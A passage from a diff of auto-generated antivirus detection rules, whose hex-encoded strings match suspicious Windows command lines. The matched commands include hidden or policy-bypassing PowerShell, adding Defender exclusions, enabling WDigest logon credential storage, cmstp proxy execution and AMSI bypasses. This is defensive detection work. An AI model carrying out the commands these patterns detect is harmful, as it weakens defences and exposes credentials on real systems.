1)*108) >=11 } -rule _InfrastructureShared_26054{ +rule _InfrastructureShared_27423{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 21 " + + strings : + $a_46_0 = {53 63 72 69 70 74 3a 43 6f 6e 6e 44 6f 77 6e 45 78 65 63 43 6d 64 00 01 00 12 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 0e 00 6d } //21283 + $a_00_2 = {65 00 63 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 1c 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 70 00 72 00 6f 00 64 00 75 00 63 00 74 00 00 00 d7 ca 00 00 06 00 06 00 07 00 21 23 54 45 4c 3a 43 4d 44 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 73 68 50 6f 77 65 72 53 68 65 6c 6c 00 01 00 1c 00 70 00 6f 00 77 00 } //101 + $a_00_3 = {73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 20 00 2d 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 70 00 6f 00 6c 00 69 00 63 00 79 00 01 00 0c 00 62 00 79 00 70 00 61 00 73 00 73 00 01 00 1e 00 2d 00 6e 00 6f 00 6e 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 00 01 00 0a 00 2d 00 66 00 69 00 } //101 + $a_00_4 = {01 00 08 00 2e 00 70 00 73 00 31 00 9c ff 08 00 5c 00 67 00 69 00 74 00 00 00 e7 57 00 00 00 2d 26 00 21 23 41 4c 46 3a 4f 39 37 4d 2f 4f 66 66 69 63 65 45 78 74 72 61 63 74 65 64 46 69 6c 65 49 6e 5a 69 70 2e 41 21 72 61 72 5f 6f 64 74 e7 da bc ec 6a c3 c3 f2 31 80 fc d0 1e 0b bc 31 1e 80 13 04 f2 ea } //108 + $a_e2_5 = {e6 fe e3 12 0b bc 0b c2 ac 13 1e e7 57 00 00 00 2d 26 00 21 23 41 4c 46 3a 4f 39 37 4d 2f 4f 66 66 69 63 65 45 78 74 72 61 63 74 65 64 46 69 6c 65 49 6e 5a 69 70 2e 41 21 72 61 72 5f 78 6d } //6016 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_00_3 & 1)*101+(#a_00_4 & 1)*108+(#a_e2_5 & 1)*6016) >=1 + +} +rule _InfrastructureShared_27424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 07 00 21 " @@ -341099,18 +359077,19 @@ rule _InfrastructureShared_26054{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*101+(#a_00_4 & 1)*103+(#a_3a_5 & 1)*19521+(#a_d0_6 & 1)*3004) >=6 } -rule _InfrastructureShared_26055{ +rule _InfrastructureShared_27425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {41 43 53 45 2e 39 34 36 36 35 39 33 32 2e 61 70 6d 6c 00 01 00 18 00 2f 00 2f 00 65 00 3a 00 76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 01 00 18 00 5c 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 } //21539 - $a_00_1 = {65 00 01 00 2c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 73 00 65 00 61 00 72 00 63 00 68 00 69 00 6e 00 64 00 65 00 78 00 65 00 72 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 38 00 00 00 a0 be 00 00 bd e2 02 00 0d 15 00 00 cd 02 00 00 62 65 62 33 33 39 62 32 62 32 32 39 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 } //101 + $a_00_1 = {65 00 01 00 2c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 73 00 65 00 61 00 72 00 63 00 68 00 69 00 6e 00 64 00 65 00 78 00 65 00 72 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 38 00 00 00 50 c3 00 00 40 70 00 00 04 00 01 05 21 23 54 45 4c 3a 53 49 47 41 54 54 52 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 52 75 6e 70 } //101 + $a_65_2 = {2e 41 00 00 00 02 00 28 60 0a 1c ce ad d0 21 e6 7f 5a 0f 00 00 02 00 28 60 0d 1c ce ad d0 21 0d 1d 5b f6 00 00 02 00 28 60 0c 14 15 42 ce d9 0a b4 f8 c9 00 00 02 00 28 60 0c 1c ce ad d0 21 88 9f 10 d8 41 79 00 00 04 01 02 06 21 23 4e 52 49 3a 45 78 70 6c 6f 69 74 3a 43 61 70 66 65 74 6f 78 49 6e 63 6f 6d 69 6e 67 2e 67 65 6e 21 48 00 02 04 00 } //30575 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101) >=3 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_65_2 & 1)*30575) >=3 } -rule _InfrastructureShared_26056{ +rule _InfrastructureShared_27426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -341120,7 +359099,7 @@ rule _InfrastructureShared_26056{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_26057{ +rule _InfrastructureShared_27427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 21 " @@ -341131,7 +359110,7 @@ rule _InfrastructureShared_26057{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*112) >=4 } -rule _InfrastructureShared_26058{ +rule _InfrastructureShared_27428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 21 " @@ -341144,7 +359123,7 @@ rule _InfrastructureShared_26058{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*78+(#a_00_3 & 1)*111+(#a_00_4 & 1)*14) >=4 } -rule _InfrastructureShared_26059{ +rule _InfrastructureShared_27429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 21 " @@ -341157,7 +359136,7 @@ rule _InfrastructureShared_26059{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*84+(#a_6f_2 & 1)*28265+(#a_00_4 & 1)*68) >=4 } -rule _InfrastructureShared_26060{ +rule _InfrastructureShared_27430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 21 " @@ -341170,7 +359149,7 @@ rule _InfrastructureShared_26060{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-10+(#a_f2_4 & 1)*0) >=4 } -rule _InfrastructureShared_26061{ +rule _InfrastructureShared_27431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -341181,35 +359160,32 @@ rule _InfrastructureShared_26061{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116) >=3 } -rule _InfrastructureShared_26062{ +rule _InfrastructureShared_27432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 4d 6f 64 69 66 79 52 65 67 69 73 74 72 79 55 73 65 4c 6f 67 6f 6e 43 72 65 64 65 6e 74 69 61 6c 2e 41 50 00 01 00 7e 00 48 00 4b 00 4c 00 4d 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 } //18467 $a_00_1 = {72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 50 00 72 00 6f 00 76 00 69 00 64 00 65 00 72 00 73 00 5c 00 57 00 44 00 69 00 67 00 65 00 73 00 74 00 01 00 2a 00 2f 00 76 00 20 00 55 00 73 00 65 00 4c 00 6f 00 67 00 6f 00 6e 00 43 00 72 00 65 00 64 00 65 00 } //110 - $a_00_2 = {69 00 61 00 6c 00 01 00 26 00 2f 00 74 00 20 00 52 00 45 00 47 00 5f 00 44 00 57 00 4f 00 52 00 44 00 20 00 2f 00 64 00 20 00 30 00 78 00 31 00 00 00 d7 0f 01 00 0b 00 0b 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 61 77 6e 50 53 50 72 6f 63 65 73 73 2e 53 48 00 01 00 25 80 01 20 26 20 70 6f 77 65 72 73 68 65 6c 6c 2e } //110 + $a_00_2 = {69 00 61 00 6c 00 01 00 26 00 2f 00 74 00 20 00 52 00 45 00 47 00 5f 00 44 00 57 00 4f 00 52 00 44 00 20 00 2f 00 64 00 20 00 30 00 78 00 31 00 00 00 e7 62 00 00 00 21 3d 00 21 23 53 4c 46 3a 49 6d 70 61 63 6b 65 74 45 78 61 6d 70 6c 65 53 63 72 69 70 74 2e 44 21 67 65 6e 14 ad c2 17 ad 67 e3 05 00 fc 0f c2 c7 05 93 17 67 0f 8f e7 da bc ec 89 d1 } //110 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_00_2 & 1)*110) >=3 } -rule _InfrastructureShared_26063{ +rule _InfrastructureShared_27433{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 07 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 61 77 6e 50 53 50 72 6f 63 65 73 73 2e 53 48 00 01 00 25 80 01 20 26 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 77 69 6e 64 6f 77 73 74 79 6c 65 20 68 69 64 64 65 6e 01 00 16 } //21283 - $a_26_1 = {70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 77 20 31 01 00 16 80 01 20 26 20 70 6f 77 65 72 } //384 - $a_6c_2 = {2e 65 78 65 20 2d 77 20 68 01 00 20 80 01 20 26 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 6e 6f 70 20 2d 77 20 68 69 64 64 65 6e 05 00 08 80 01 20 62 79 70 61 73 73 20 05 00 14 80 01 2d 63 6f 6d 6d 61 6e 64 20 67 65 74 2d 70 72 6f 63 65 73 73 0a 00 32 81 01 2d 65 6e 63 6f 64 65 64 63 6f 6d 6d } //26739 - $a_20_3 = {77 42 6c 41 48 51 41 4c 51 42 77 41 48 49 41 62 77 42 6a 41 47 55 41 63 77 42 7a 41 41 3d 3d 20 26 00 00 e7 62 00 00 00 21 3d 00 21 23 53 4c 46 3a 49 6d 70 61 63 6b 65 74 45 78 61 6d 70 6c 65 53 63 72 69 70 74 2e 44 21 67 65 6e 14 ad c2 17 ad 67 e3 05 00 fc 0f c2 c7 05 93 17 67 0f 8f e7 da bc ec 89 } //28257 - $a_17_4 = {e6 bc 31 e4 80 1e 89 3f e4 3f ac 1a 3f 8f ad e6 f8 80 1a ea a7 05 0b 80 bc 1e 80 13 a3 f2 3f 1e e7 66 00 00 00 21 41 00 21 23 53 4c 46 3a 49 6d 70 61 63 6b 65 74 45 78 61 6d 70 6c 65 53 63 72 69 70 74 2e 43 21 67 65 6e 14 ad c2 17 ad 67 e3 05 00 fc 0f c2 c7 05 93 17 67 0f 8f e7 da bc ec 17 73 e6 bc 31 e4 80 1e fc d0 bc 73 e6 ea 80 c7 31 0b f2 e6 1e fe e3 8f ad e6 f8 80 1a ea a7 05 0b 80 bc 1e 80 13 a3 f2 3f 1e e7 6a 00 00 00 1d 49 00 21 23 53 4c 46 3a 49 6d 70 61 63 6b 65 74 45 78 61 6d 70 6c 65 53 63 72 69 70 74 2e 41 14 ad c2 17 ad 67 e3 05 00 fc 0f c2 c7 05 93 17 67 0f 8f e7 da bc ec 17 73 e6 bc 31 e4 80 1e fc d0 bc } //-32559 - $a_80_5 = {31 0b f2 e6 1e fe e3 8f e7 da bc ec 17 73 e6 bc 31 e4 80 1e 17 3f c7 f2 1e 80 67 bc 31 e4 bc 3e 80 d1 e7 6f 00 00 00 14 57 00 21 23 42 4d 5f 49 4d 50 41 43 4b 45 54 5f 53 43 52 49 50 54 c0 f8 d1 31 0b f2 e6 1e ec 0f a7 e6 80 c2 e6 a7 36 14 ad c2 67 de c2 04 17 e7 fc e0 8f c0 c7 05 67 0f ec 04 0b ac 73 17 73 e6 bc 31 e4 80 1e 36 c7 05 67 0f ec 17 73 e6 ac 0b 1e 17 73 e6 bc 31 e4 80 1e e0 8f ad e6 f8 80 1a ea a7 05 0b 80 bc 1e 80 13 a3 f2 3f 1e e7 75 00 00 00 21 50 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4f 39 37 4d 2f 4b 69 74 74 65 6e 2e 41 ad a3 c7 0f 93 ec ad bc 31 0b ac 05 0b 80 bc 1e 80 0f bc d1 e4 fe e3 8f ad a3 c7 0f 93 ec ad bc 31 0b ac 67 da 1e 14 f2 3f bc 0b a7 } //1 �����ڼ�s�1�?���g�1�>���o -6541 - $a_ad_6 = {c7 0f 93 ec ad bc 31 0b ac 77 80 1e fc 3f 19 f2 0b ac 3f 73 80 3f 1e 44 bc 0b f2 bc 99 ea 80 e7 8f 00 00 00 1d 6e 00 21 23 53 4c 46 3a 49 6d 70 61 63 6b 65 74 45 78 61 6d 70 6c 65 53 63 72 69 70 74 2e 42 14 ad c2 17 ad 67 e3 05 00 fc 0f c2 c7 05 93 17 67 0f 8f e7 da bc ec 17 73 e6 bc 31 e4 80 1e fc d0 bc 73 e6 ea 80 c7 31 0b f2 e6 1e fe e3 8f c0 e7 da bc ec 04 f2 ea 80 a3 bc d1 ad 6a 0f ed 36 e7 da bc ec 17 73 e6 bc 31 e4 80 } //-7170 + $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 75 73 70 43 6d 64 45 78 65 63 2e 42 41 00 01 00 13 80 01 3e 6e 75 6c 20 26 20 73 79 73 74 65 6d 69 6e 66 6f 20 26 01 00 1e 80 01 26 20 77 6d 69 63 20 6f 73 20 67 65 74 20 6c 61 73 74 } //21283 + $a_74_1 = {70 74 69 6d 65 20 26 01 00 23 80 01 3e 6e 75 6c 20 26 20 6e 65 74 20 73 74 61 74 69 73 74 69 63 73 20 77 6f 72 6b 73 74 61 74 69 6f 6e 20 26 01 00 0e 80 01 26 20 74 69 6d 65 6f 75 74 20 36 30 20 26 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 38 00 00 00 70 11 01 00 bd 6d 00 00 0e 15 00 00 57 00 00 00 31 32 66 64 37 35 30 } //28514 + $a_64_2 = {64 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 04 00 00 00 05 00 00 00 06 40 40 00 1e 00 00 01 1e 00 80 00 02 00 00 00 04 03 00 00 00 6d 70 00 04 06 00 00 00 4c 4f 57 46 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd 6d 00 00 0e 15 00 00 57 00 00 00 } //12897 + $a_64_3 = {65 36 30 33 62 33 64 36 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 04 00 00 00 05 00 00 00 06 40 40 00 } //13361 condition: - ((#a_46_0 & 1)*21283+(#a_26_1 & 1)*384+(#a_6c_2 & 1)*26739+(#a_20_3 & 1)*28257+(#a_17_4 & 1)*-32559+(#a_80_5 & 1)*-6541+(#a_ad_6 & 1)*-7170) >=11 + ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*28514+(#a_64_2 & 1)*12897+(#a_64_3 & 1)*13361) >=1 } -rule _InfrastructureShared_26064{ +rule _InfrastructureShared_27434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -341219,7 +359195,7 @@ rule _InfrastructureShared_26064{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26065{ +rule _InfrastructureShared_27435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -341230,7 +359206,7 @@ rule _InfrastructureShared_26065{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*46) >=2 } -rule _InfrastructureShared_26066{ +rule _InfrastructureShared_27436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -341241,7 +359217,7 @@ rule _InfrastructureShared_26066{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101) >=2 } -rule _InfrastructureShared_26067{ +rule _InfrastructureShared_27437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -341251,18 +359227,7 @@ rule _InfrastructureShared_26067{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26068{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 50 72 6f 78 79 45 78 65 63 75 74 69 6f 6e 2e 42 00 02 00 0e 80 01 26 20 63 6d 73 74 70 2e 65 78 65 20 2f 73 01 00 0a 80 01 5f 63 6d 73 74 70 2e 74 78 74 01 00 0a 80 01 5f 63 6d } //21283 - $a_2e_1 = {6e 69 00 00 d7 6b 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 43 53 45 2e 31 30 31 39 32 38 35 30 31 35 2e 61 70 6d 6c 00 01 00 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 31 00 30 00 30 00 30 00 20 00 77 00 77 00 77 00 01 00 20 00 77 00 77 00 77 00 2e 00 70 00 69 00 72 00 69 00 66 00 6f 00 72 00 6d 00 2e 00 63 00 6f 00 6d } //29811 - condition: - ((#a_46_0 & 1)*21283+(#a_2e_1 & 1)*29811) >=3 - -} -rule _InfrastructureShared_26069{ +rule _InfrastructureShared_27438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -341273,7 +359238,7 @@ rule _InfrastructureShared_26069{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*112) >=2 } -rule _InfrastructureShared_26070{ +rule _InfrastructureShared_27439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -341283,31 +359248,31 @@ rule _InfrastructureShared_26070{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26071{ +rule _InfrastructureShared_27440{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 75 73 70 43 6f 6d 6d 61 6e 64 45 78 65 63 75 74 69 6f 6e 2e 42 53 00 01 00 08 80 01 65 63 68 6f 20 73 62 5f 01 00 05 80 01 20 3e 4e 55 4c 01 00 06 80 01 26 20 65 78 69 74 00 00 d7 e0 } //21283 + $a_00_1 = {02 00 } //0 + $a_23_2 = {4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 75 73 70 50 6f 77 65 72 53 68 65 6c 6c 43 6d } //3 LF:VirTool:Win32/SuspPowerShellCm + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*0+(#a_23_2 & 1)*3) >=3 + +} +rule _InfrastructureShared_27441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 50 72 6f 78 79 45 78 65 63 75 74 69 6f 6e 2e 43 00 01 00 1c 80 01 26 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 63 6f 6e 74 72 6f 6c 2e 65 78 65 01 00 1d 02 5c 00 74 00 65 } //21283 - $a_02_2 = {8f 2e 00 63 00 70 00 6c 00 20 00 26 00 90 00 01 00 11 02 5c 74 65 6d 70 5c 90 02 8f 2e 63 70 6c 20 26 90 00 00 00 d7 e1 00 00 07 00 07 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 44 65 66 65 6e 64 65 72 45 78 63 6c 75 73 69 6f 6e 73 2e 53 48 00 02 00 28 80 01 26 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c 02 00 24 80 01 70 } //92 + $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 75 73 70 50 6f 77 65 72 53 68 65 6c 6c 43 6d 64 2e 42 53 00 01 00 3b 80 01 26 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 } //21283 + $a_5c_1 = {31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 01 00 43 02 2d 00 65 00 78 00 65 00 63 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 20 00 2d 00 66 00 69 00 6c 00 65 00 20 00 20 00 25 00 74 00 65 00 6d 00 70 00 25 00 5c 00 90 02 10 2e 00 70 00 73 00 31 00 90 00 01 00 24 02 2d 65 78 65 63 20 62 79 70 61 73 73 20 2d 66 } //27749 + $a_20_2 = {25 74 65 6d 70 25 5c 90 02 10 2e 70 73 31 90 00 00 00 e7 2a 00 00 00 1a 0c 00 21 23 45 78 63 6c 75 73 69 6f 6e 3a 41 6d 73 69 53 63 61 6e 42 79 70 61 73 73 14 ad c2 fc 44 0f 82 c2 04 17 e7 fc e7 32 00 00 00 18 16 00 21 23 41 47 47 52 3a 43 6c 6e 41 6d 73 69 44 6c 6c 57 72 69 74 65 72 73 e7 da bc ec 67 } //27753 condition: - ((#a_46_0 & 1)*21283+(#a_02_2 & 1)*92) >=2 + ((#a_46_0 & 1)*21283+(#a_5c_1 & 1)*27749+(#a_20_2 & 1)*27753) >=2 } -rule _InfrastructureShared_26072{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 06 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 44 65 66 65 6e 64 65 72 45 78 63 6c 75 73 69 6f 6e 73 2e 53 48 00 02 00 28 80 01 26 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 77 69 6e 64 6f 77 73 70 6f 77 } //21283 - $a_68_1 = {6c 6c 5c 02 00 24 80 01 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 65 78 65 63 20 62 79 70 61 73 73 20 2d 63 6f 6d 6d 61 6e 64 02 00 10 80 01 61 64 64 2d 6d 70 70 72 65 66 65 72 65 6e 63 65 01 00 0e 80 01 2d 65 78 63 6c 75 73 69 6f 6e 70 61 74 68 01 00 13 80 01 2d 65 78 63 6c 75 73 69 6f 6e 65 78 74 65 6e 73 69 6f 6e 01 00 11 80 01 2d 65 } //29285 - $a_75_2 = {69 6f 6e 70 72 6f 63 65 73 73 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 40 45 01 00 13 00 02 06 21 23 4e 52 49 3a 4c 75 6d 6d 61 4e 72 69 2e 41 00 02 41 02 00 02 70 00 05 0d 21 e3 c7 00 00 00 00 02 41 02 00 02 70 00 04 34 a1 b7 52 00 00 00 00 02 41 02 00 02 70 00 05 5d 35 a5 0e 00 00 00 00 02 41 02 00 02 70 00 06 e2 8f df } //25464 - $a_02_4 = {00 02 70 00 04 47 b3 de c1 00 00 00 00 02 41 02 00 02 70 00 05 30 90 e5 fc 00 00 00 00 02 41 02 00 02 70 00 04 86 81 e8 aa 00 00 00 00 02 41 02 00 02 70 00 05 e6 60 60 d6 00 00 00 00 02 41 02 00 } //512 - condition: - ((#a_46_0 & 1)*21283+(#a_68_1 & 1)*29285+(#a_75_2 & 1)*25464+(#a_02_4 & 1)*512) >=7 - -} -rule _InfrastructureShared_26073{ +rule _InfrastructureShared_27442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -341317,7 +359282,7 @@ rule _InfrastructureShared_26073{ ((#a_44_0 & 1)*17187) >=1 } -rule _InfrastructureShared_26074{ +rule _InfrastructureShared_27443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 11 00 21 " @@ -341328,20 +359293,51 @@ rule _InfrastructureShared_26074{ $a_02_5 = {75 00 73 00 65 00 72 00 [0-40] 2f 00 3f 00 } //-3 $a_00_6 = {61 00 63 00 74 00 69 00 76 00 65 00 3a 00 6e 00 6f 00 } //-3 active:no $a_00_7 = {64 00 6f 00 74 00 6e 00 65 00 74 00 } //-3 dotnet - $a_2a_8 = {00 00 14 12 00 21 23 45 78 63 6c 3a 4e 65 77 55 6e 73 69 67 6e 65 64 50 65 e3 77 77 93 ec 17 3f e3 ad c7 17 05 ac 3f 1e 80 d0 1e e7 3e 00 00 00 19 21 00 21 23 41 4c 46 3a 54 54 43 54 58 3a 50 53 4e 65 74 43 6f 6e 66 69 67 2e 42 ad e6 17 d1 67 ac 1a 80 0b c7 18 80 ea ea e3 ad c7 17 c7 31 bc 3f 8f c7 05 67 0f ec 67 c7 f8 80 1e e7 3f 00 00 00 1a 21 00 21 23 4d 70 49 73 45 78 68 61 75 73 74 69 76 65 53 63 72 69 70 74 53 63 61 6e ad e6 17 d1 67 ac 1a 80 0b c7 18 80 ea ea e3 ad c7 17 c7 31 bc 3f 8f 14 ad c2 ad e2 c2 04 17 e7 fc e7 44 00 00 00 17 29 00 21 23 53 4c 46 3a 46 69 6c 65 57 69 74 68 56 46 53 5f 46 41 54 31 32 14 ad c2 44 f2 0b 1e da bc ea 04 c7 c2 04 e3 0f 9a 74 8f c0 12 e3 77 77 } //0 - $a_e3_9 = {c2 fc d0 31 } //-4973 - $a_f2_10 = {3f d1 e0 e7 44 00 00 00 17 29 00 21 23 53 4c 46 3a 46 69 6c 65 57 69 74 68 56 46 53 5f 46 41 54 31 36 14 ad c2 44 f2 0b 1e da bc ea 04 c7 c2 04 e3 0f 9a d8 8f c0 12 e3 77 77 93 ec 04 e3 0f c2 fc d0 31 ea da d1 f2 ac 3f d1 e0 e7 44 00 00 00 17 29 00 21 23 53 4c 46 3a 46 69 6c 65 57 69 74 68 56 46 53 5f 46 41 54 33 32 14 ad c2 44 f2 0b 1e da bc ea 04 c7 c2 04 e3 0f 88 74 8f c0 12 e3 77 77 93 ec 04 e3 0f c2 fc d0 31 ea da d1 f2 ac 3f d1 e0 e7 47 00 00 00 1a 29 00 21 23 41 4c 46 3a 54 54 43 54 58 3a 41 4d 53 49 32 3a 4d 4c 3a 50 73 3a 38 30 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 67 d1 ec bf 33 8f e7 da bc ec 05 ea ac da 13 } //-9494 - $a_31_11 = {e7 80 19 80 ea 77 0f 88 e7 48 00 00 00 1e 26 00 21 23 41 4c 46 3a 50 6e 67 57 69 74 68 41 62 6e 6f 72 6d 61 6c 49 45 4e 44 43 72 63 2e 41 14 ad c2 67 f8 77 c2 04 17 e7 fc 8f e7 da bc ec 67 3f 3e ed f2 1e 18 e3 99 3f ac 0b 73 bc ea 17 fc f8 d7 05 0b 31 e7 49 00 00 00 1b 2a 00 21 23 41 4c 46 3a 54 54 43 54 58 3a 41 4d 53 49 32 3a 4d 4c 3a 56 62 61 3a 31 30 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 44 99 bc ec 9a 33 8f e7 da bc ec 05 ea ac da 13 14 ea ac 31 e4 e7 80 19 80 ea 77 0f 88 e7 49 00 00 00 1b 2a 00 21 23 41 } //-5612 - $a_54_12 = {43 54 58 3a 41 4d 53 49 32 3a 4d 4c 3a 56 62 61 3a 32 30 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 44 99 bc ec 74 33 8f e7 da bc ec 05 ea ac da 13 14 ea ac 31 e4 e7 80 19 80 ea } //17996 - $a_e7_13 = {00 00 00 1b 2a 00 21 23 41 4c 46 3a 54 54 43 54 58 3a 41 4d 53 49 32 3a 4d 4c 3a 56 62 61 3a 33 30 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 44 99 bc ec 88 33 8f e7 da bc ec 05 ea ac da 13 14 ea ac 31 e4 e7 80 19 80 ea 77 0f 88 e7 49 00 00 00 1b 2a 00 21 23 41 4c 46 3a 54 54 43 54 58 3a 41 4d 53 49 32 3a 4d 4c 3a 56 62 61 3a 34 30 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 44 99 bc ec e5 33 8f e7 da bc ec 05 ea } //3959 - $a_14_14 = {ac 31 e4 e7 80 